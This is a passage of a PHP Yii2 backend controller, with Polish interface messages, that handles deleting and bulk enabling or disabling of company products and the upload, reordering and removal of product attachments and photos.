            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $db = $model->getDb();
        $flag = $db->createCommand('UPDATE products SET updated_at = LOCALTIMESTAMP WHERE id_product = '.(int)$model->id_product)->execute();
        
        if ($flag) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }

        return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index', 'id' => $model->id_company]);
    }
    
    /**
     * Deletes an existing Products model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        
//        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company])) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
        
        if($this->deleteProduct($model)) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['index', 'id' => $model->id_company]);
        
//        $idsPortals = $model->getPresentations()->select('id_portal')->column();
//        $idsPresentations = $model->getRelationsWithPresentations()->select(['id_presentation'])->column();
//        $idsPortalsWithTopProduct = $model->getRelationsWithPortalsWhereIsPromoted()
//                    ->select(['id_portal'])
//                    ->andWhere(['promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])
//                    ->column();
//        
//        $transaction = Yii::$app->db->beginTransaction();       
//
//        //w metodzie beforeDelete() modelu \common\models\Products następuje:
//        //- uporządkowanie produktów w prezentacjach, do których należy usuwany produkt
//        //- obsłużenie liczebności tagów produktów, którymi usuwany produkt jest opisany
//        
//        if($model->delete() !== false) {
//            $transaction->commit();
//            $cacheTags = ['product_'.$model->id_product];
//            if(!empty($idsPortals)) {
//                foreach($idsPortals as $idPortal) {
//                    $cacheTags[] = 'extended_menu_products_portal_'.$idPortal;
//                    $cacheTags[] = 'mainpage_box_products_portal_'.$idPortal;
//                }
//            }            
//            if(!empty($idsPortalsWithTopProduct)) {
//                foreach($idsPortalsWithTopProduct as $idPortal) {
//                    $cacheTags[] = 'mainpage_box_top_products_portal_'.$idPortal;
//                }
//            }
//            
//            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
//            if(!empty($idsPresentations)) {
//                foreach($idsPresentations as $idPresentation) {
//                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
//                }
//            }
//            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
//        } else {
//            $transaction->rollBack();
//            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
//        }
//
//        return $this->redirect(['index', 'id' => $model->id_company]);
    }
    
    public function actionDeleteMany($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if (!Yii::$app->user->can('deleteManyProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idsProducts = Yii::$app->request->get('ids', []);        
        if(empty($idsProducts)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return $this->redirect(['index', 'id' => $modelCompany->id_company]);
        } else {
            $idsProducts = array_map('intval', explode(',', $idsProducts));
        }
        
        $flag = true;
        foreach($idsProducts as $idProduct) {
            $flag = $flag && $this->deleteProduct($idProduct);
        }        
        
        if($flag) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['index', 'id' => $modelCompany->id_company]);
    }
    
    public function actionEnableMany($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if (!Yii::$app->user->can('enableManyProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idsProducts = Yii::$app->request->get('ids', []);        
        if(empty($idsProducts)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return $this->redirect(['index', 'id' => $modelCompany->id_company]);
        } else {
            $idsProducts = array_map('intval', explode(',', $idsProducts));
        }
        
        $flag = $this->changeStatusProducts($idsProducts, true);
        
        if($flag) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu danych.'));
        }

        return $this->redirect(['index', 'id' => $modelCompany->id_company]);
    }
    
    public function actionDisableMany($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if (!Yii::$app->user->can('enableManyProducts')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idsProducts = Yii::$app->request->get('ids', []);        
        if(empty($idsProducts)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return $this->redirect(['index', 'id' => $modelCompany->id_company]);
        } else {
            $idsProducts = array_map('intval', explode(',', $idsProducts));
        }
        
        $flag = $this->changeStatusProducts($idsProducts, false);
        
        if($flag) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu danych.'));
        }

        return $this->redirect(['index', 'id' => $modelCompany->id_company]);
    }
    
    protected function changeStatusProducts($idsProducts, $orEnable)
    {
        $modelsProducts = \common\models\Products::find()
                ->where(['id_product' => $idsProducts])
                ->indexBy('id_product')
                ->all();
        if(empty($modelsProducts)) {
            return false;
        }
        $idsProducts = array_keys($modelsProducts);
        
        $idsPortals = \common\models\CompaniesPresentationsHasProducts::find()
                ->select(['companies_presentations.id_portal'])
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_has_products.id_presentation = companies_presentations.id_presentation')
                ->where([
                    'companies_presentations_has_products.id_product' => $idsProducts
                ])
                ->distinct()
                ->column();
        $idsPresentations = \common\models\CompaniesPresentationsHasProducts::find()
                ->select(['id_presentation'])
                ->where([
                    'id_product' => $idsProducts
                ])
                ->distinct()
                ->column(); 
        $idsPortalsWithTopProduct = \common\models\PortalsHasProductsPromoted::find()
                ->select(['id_portal'])
                ->where([
                    'id_product' => $idsProducts,
                    'promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT
                ])
                ->distinct()
                ->column();
        
        $transaction = Yii::$app->db->beginTransaction();       

        $flag = true;
        
        $status = $orEnable === true ? \common\models\types\Status::ACTIVE : \common\models\types\Status::INACTIVE;
        
        foreach($modelsProducts as $modelProduct) {
            if($modelProduct->status === $status) {
                continue;
            }
            
            if($modelProduct->status !== \common\models\types\Status::ACTIVE && $status === \common\models\types\Status::ACTIVE) {
                if(!$this->detachFromPresentationsIfExceedsLimit($modelProduct)) {
                    $flag = false;
                    break;
                }
            }
            
            $modelProduct->status = $status;
            if(!$modelProduct->save(false)) {
                $flag = false;
                break;
            }
        }
        
        if($flag) {
            $transaction->commit();
            
            $cacheTags = [];
            foreach($idsProducts as $idProduct) {
                $cacheTags[] = 'product_'.$idProduct;
            }
            
            if(!empty($idsPortals)) {
                foreach($idsPortals as $idPortal) {
                    $cacheTags[] = 'extended_menu_products_portal_'.$idPortal;
                    $cacheTags[] = 'mainpage_box_products_portal_'.$idPortal;
                }
            }            
            if(!empty($idsPortalsWithTopProduct)) {
                foreach($idsPortalsWithTopProduct as $idPortal) {
                    $cacheTags[] = 'mainpage_box_top_products_portal_'.$idPortal;
                }
            }
            
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
            if(!empty($idsPresentations)) {
                foreach($idsPresentations as $idPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                    IndexPresentations::refreshRecord($idPresentation);
                }
            }
            
            IndexProducts::refreshRecords($idsProducts);
            
            return true;
        } else {
            $transaction->rollBack();
            return false;
        }
    }
    
    protected function deleteProduct($product)
    {
        if($product instanceof Products) {
            $model = $product;
        } else {
            $model = $this->findModel($product);
        }        
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idsPortals = $model->getPresentations()->select('id_portal')->column();
        $idsPresentations = $model->getRelationsWithPresentations()->select(['id_presentation'])->column();
        $idsPortalsWithTopProduct = $model->getRelationsWithPortalsWhereIsPromoted()
                    ->select(['id_portal'])
                    ->andWhere(['promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])
                    ->column();
        
        $transaction = Yii::$app->db->beginTransaction();       

        //w metodzie beforeDelete() modelu \common\models\Products następuje:
        //- uporządkowanie produktów w prezentacjach, do których należy usuwany produkt
        //- obsłużenie liczebności tagów produktów, którymi usuwany produkt jest opisany
        
        if($model->delete() !== false) {
            $transaction->commit();
            $cacheTags = ['product_'.$model->id_product];
            if(!empty($idsPortals)) {
                foreach($idsPortals as $idPortal) {
                    $cacheTags[] = 'extended_menu_products_portal_'.$idPortal;
                    $cacheTags[] = 'mainpage_box_products_portal_'.$idPortal;
                }
            }            
            if(!empty($idsPortalsWithTopProduct)) {
                foreach($idsPortalsWithTopProduct as $idPortal) {
                    $cacheTags[] = 'mainpage_box_top_products_portal_'.$idPortal;
                }
            }
            
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
            if(!empty($idsPresentations)) {
                foreach($idsPresentations as $idPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                    IndexPresentations::refreshRecord($idPresentation);
                }
            }
            return true;
        } else {
            $transaction->rollBack();
            return false;
        }
    }
    
    /**
     * Creates a new ProductsAttachments model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreateAttachment()
    {
        $model = new \common\models\ProductsAttachments(['scenario' => 'create']);
        $model->id_product = intval(Yii::$app->request->get('id_product', null));
        $modelProduct = $this->findModel($model->id_product); 
                
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $modelProduct->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelProduct' => $modelProduct]);
            }
                                  
            $model->loadFile();
            
            if(!empty($model->file)) {
                $model->url = null;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelProduct' => $modelProduct]);
            }

            $newFilePath = (!empty($model->file)) ? $model->saveFile() : null;
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelProduct' => $modelProduct]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsProductsAttachments = \common\models\ProductsAttachments::find()->where(['>=', 'attachment_order', $model->attachment_order])->andWhere(['id_product' => $model->id_product])->all();
            if(!empty($modelsProductsAttachments)) {                
                array_walk($modelsProductsAttachments, function($modelProductsAttachments, $key) use (&$flag) {
                    $modelProductsAttachments->attachment_order += 1;
                    if(!$flag || !$modelProductsAttachments->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $modelProduct->id_product, $modelProduct->id_company, 'Dodano załącznik.');
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_product]);
                } 
                else {
                    $model = new \common\models\ProductsAttachments(['scenario' => 'create']);
                    $model->id_product = intval(Yii::$app->request->get('id_product', null));
                }
            } else {
                $transaction->rollBack();
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_attachment', [
            'model' => $model,
            'modelProduct' => $modelProduct
        ]);
    }
    
    /**
     * Updates an existing ProductsAttachments model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->product->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($model->url)) {
            $model->setScenario('update-url-version');
            $isUrlAttachment = true;
        } else {
            $model->setScenario('update-file-version');
            $isUrlAttachment = false;
        }
        
        $outputParams = [
            'model' => $model,
            'isUrlAttachment' => $isUrlAttachment
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('attachment_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            if(!$isUrlAttachment) {
                $oldFilePath = $model->loadFile();
                $model->url = null;
            } else {
                $oldFilePath = null;
                $model->filename = null;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            if(!$isUrlAttachment) {
                $newFilePath = $model->saveFile();
                if($newFilePath === false) {
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->conditionalRender('update_attachment', $outputParams);
                }
            } else {
                $newFilePath = null;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->attachment_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsProductsAttachments = \common\models\ProductsAttachments::find()
                        ->where(['<=', 'attachment_order', $newOrder])
                        ->andWhere(['>', 'attachment_order', $oldOrder])
                        ->andWhere(['id_product' => $model->id_product])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsProductsAttachments)) {                
                        array_walk($modelsProductsAttachments, function($modelProductsAttachments, $key) use (&$flag) {
                            $modelProductsAttachments->attachment_order -= 1;
                            if(!$flag || !$modelProductsAttachments->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsProductsAttachments = \common\models\ProductsAttachments::find()
                        ->where(['<', 'attachment_order', $oldOrder])
                        ->andWhere(['>=', 'attachment_order', $newOrder])
                        ->andWhere(['id_product' => $model->id_product])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsProductsAttachments)) {                
                        array_walk($modelsProductsAttachments, function($modelProductsAttachments, $key) use (&$flag) {
                            $modelProductsAttachments->attachment_order += 1;
                            if(!$flag || !$modelProductsAttachments->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if ($flag && $model->save(false)) {
                @unlink($oldFilePath);
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $model->product->id_product, $model->product->id_company, 'Zmodyfikowano załącznik.');
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_product]);
                }
            } else {
                @unlink($newFilePath);
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_attachment', $outputParams);
    }
    
    /**
     * Deletes an existing ProductsAttachments model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->product->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        $modelsProductsAttachments = \common\models\ProductsAttachments::find()
            ->andWhere(['>', 'attachment_order', $model->attachment_order])
            ->andWhere(['id_product' => $model->id_product])
            ->andWhere(['!=', 'id_attachment', $model->id_attachment])
            ->all();
        if(!empty($modelsProductsAttachments)) {                
            array_walk($modelsProductsAttachments, function($modelProductsAttachments, $key) use (&$flag) {
                $modelProductsAttachments->attachment_order -= 1;
                if(!$flag || !$modelProductsAttachments->save(false)) {
                    $flag = false;
                }
            });
        }
                
        if($flag && $model->delete() !== false) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
        } else {
            $transaction->rollBack();
        }        
        
        return Yii::$app->getResponse()->redirect(['companiesproducts/update', 'id' => $model->id_product], 302, false);
    }
    
    /**
     * Creates a new ProductsPhotos model.
     * 
     * @return mixed
     */
    public function actionUploadPhoto()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(($modelProduct = Products::findOne(intval(Yii::$app->request->post('id_product')))) === null) {
            return ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $modelProduct->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $maxPhotoOrder = $modelProduct->getPhotos()->select(['photo_order'])->max('photo_order');
        
        $model = new ProductsPhotos(['scenario' => 'create']);
        $model->setIdCompany($modelProduct->id_company);
        $model->id_product = $modelProduct->id_product;
        $model->photo_order = intval($maxPhotoOrder) + 1;
        
        $model->file = \yii\web\UploadedFile::getInstancesByName('images');
        if(!$model->file) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')];
        }   
        if(is_array($model->file) && isset($model->file[0])) {
            $model->file = $model->file[0];
        }
        
        $model->filename = ProductsPhotos::createFileName($model->file->baseName, $model->file->extension);
            
        if(!$model->validate()) {
            return ['error' => implode(" | ", $model->getErrors())];
        }
            
        $newFilePath = $model->saveImageFile();
        if(!$newFilePath) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')];
        }
        
        if(!$model->save(false)) {
            ProductsPhotos::deleteImage($newFilePath);
            return ['error' => Yii::t('backend', 'Błąd podczas zapisu.')];
        }
        
        $output = [
            'initialPreview' => [
                $model->getImageUrl(true)
            ],
            'initialPreviewConfig' => [[
                'caption' => $model->filename,
                'width' => '120px', 
                'url' => '/companiesproducts/delete-photo/'.$model->id_photo, // server delete action 
                'key' => $model->id_photo, 
                'extra' => ['id' => $model->id_photo]
            ]]
        ];
        
        $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $modelProduct->id_product, $modelProduct->id_company, 'Dodano zdjęcie.');
        TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
        
        return $output;
    }
    
    /**
     * Updates an existing ProductsPhotos models.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateGallery($id)
    {
        $model = $this->findModel($id);
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $postPhotos = Yii::$app->request->post('ProductsPhotos', []);
        $idsPostedPhotos = array_map('intval', array_keys($postPhotos));
        
        $modelsPhotos = $model->getPhotos()->indexBy('id_photo')->all();        
        if(empty($modelsPhotos)) {
            return Yii::$app->getResponse()->redirect(['companiesproducts/update', 'id' => $model->id_product], 302, false);
        }
        foreach($modelsPhotos as $key => $modelPhoto) {
            $modelPhoto->setScenario('update');
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && \yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelsPhotos, ['title', 'photo_order']);
        }
                
        if(Yii::$app->request->getIsPost()) {
            if(!empty($idsPostedPhotos) && !\yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {                
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return Yii::$app->getResponse()->redirect(['companiesproducts/update', 'id' => $model->id_product], 302, false);
            }
            
            if(!empty($idsPostedPhotos) && !\yii\base\Model::validateMultiple($modelsPhotos)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return Yii::$app->getResponse()->redirect(['companiesproducts/update', 'id' => $model->id_product], 302, false);
            }
            
            $transaction = Yii::$app->db->beginTransaction();            
            
            $flag = true;

            foreach($modelsPhotos as $key => $modelPhoto) {
                if(!in_array($modelPhoto->id_photo, $idsPostedPhotos)) {
                    $flag = $modelPhoto->delete();
                    unset($modelsPhotos[$key]);
                } else {
                    $flag = $modelPhoto->save(false);
                }

                if($flag === false) {
                    break;
                }
            }
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $model->id_product, $model->id_company, 'Zmodyfikowano galerię zdjęć.');
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);              
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        } 
        
        return Yii::$app->getResponse()->redirect(['companiesproducts/update', 'id' => $model->id_product], 302, false);
    }
    
    /**
     * Creates a new ProductsPhotos model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreatePhoto()
    {
        $model = new \common\models\ProductsPhotos(['scenario' => 'create']);        
        $model->id_product = intval(Yii::$app->request->get('id_product', null));
        $modelProduct = $this->findModel($model->id_product); 
        $model->setIdCompany($modelProduct->id_company);
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $modelProduct->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelProduct' => $modelProduct]);
            }
                                  
            $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelProduct' => $modelProduct]);
            }

            $newFilePath = $model->saveImageFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelProduct' => $modelProduct]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsProductsPhotos = \common\models\ProductsPhotos::find()->where(['>=', 'photo_order', $model->photo_order])->andWhere(['id_product' => $model->id_product])->all();
            if(!empty($modelsProductsPhotos)) {                
                array_walk($modelsProductsPhotos, function($modelProductsPhotos, $key) use (&$flag) {
                    $modelProductsPhotos->photo_order += 1;
                    if(!$flag || !$modelProductsPhotos->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $modelProduct->id_product, $modelProduct->id_company, 'Dodano zdjęcie.');
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_product]);
                } 
                else {
                    $model = new \common\models\ProductsPhotos(['scenario' => 'create']);
                    $model->id_product = intval(Yii::$app->request->get('id_product', null));
                }
            } else {
                $transaction->rollBack();
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_photo', [
            'model' => $model,
            'modelProduct' => $modelProduct
        ]);
    }
    
    /**
     * Updates an existing ProductsPhotos model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdatePhoto($id)
    {
        $model = $this->findModelPhoto($id);
        $model->setScenario('update');
        $model->setIdCompany($model->product->id_company);
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->product->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $outputParams = [
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('photo_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_photo', $outputParams);
            }
            
            $oldFilePath = $model->loadImageFile();
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_photo', $outputParams);
            }
            
            $newFilePath = $model->saveImageFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('update_photo', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->photo_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsProductsPhotos = \common\models\ProductsPhotos::find()
                        ->where(['<=', 'photo_order', $newOrder])
                        ->andWhere(['>', 'photo_order', $oldOrder])
                        ->andWhere(['id_product' => $model->id_product])
                        ->andWhere(['!=', 'id_photo', $model->id_photo])
                        ->all();
                    if(!empty($modelsProductsPhotos)) {                
                        array_walk($modelsProductsPhotos, function($modelProductsPhotos, $key) use (&$flag) {
                            $modelProductsPhotos->photo_order -= 1;
                            if(!$flag || !$modelProductsPhotos->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsProductsPhotos = \common\models\ProductsPhotos::find()
                        ->where(['<', 'photo_order', $oldOrder])
                        ->andWhere(['>=', 'photo_order', $newOrder])
                        ->andWhere(['id_product' => $model->id_product])
                        ->andWhere(['!=', 'id_photo', $model->id_photo])
                        ->all();
                    if(!empty($modelsProductsPhotos)) {                
                        array_walk($modelsProductsPhotos, function($modelProductsPhotos, $key) use (&$flag) {
                            $modelProductsPhotos->photo_order += 1;
                            if(!$flag || !$modelProductsPhotos->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if ($flag && $model->save(false)) {
                \common\models\ProductsPhotos::deleteImage($oldFilePath);
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRODUCT_MODIFIED, $model->product->id_product, $model->product->id_company, 'Zmodyfikowano zdjęcie.');
                TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_product]);
                }
            } else {
                \common\models\ProductsPhotos::deleteImage($newFilePath);
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_photo', $outputParams);
    }
    
    /**
     * Deletes an existing ProductsPhoto model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeletePhoto($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        $output = [];        
        
        if(($model = ProductsPhotos::findOne($id)) === null) {
            $output = ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $model->product->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();
        
        if($flag !== false) {
            $modelsPhotos = ProductsPhotos::find()
                ->andWhere(['>', 'photo_order', $model->photo_order])
                ->andWhere(['id_product' => $model->id_product])
                ->andWhere(['!=', 'id_photo', $model->id_photo])
                ->all();
            if(!empty($modelsPhotos)) {  
                foreach($modelsPhotos as $modelPhoto) {
                    $modelPhoto->photo_order -= 1;
                    if(!$modelPhoto->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
        }
                
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['product_'.$model->id_product]);
        } else {
            $output = ['error' => Yii::t('backend', 'Błąd podczas usuwania danych.')];
            $transaction->rollBack();
        }
        
        return $output;
    }    
    
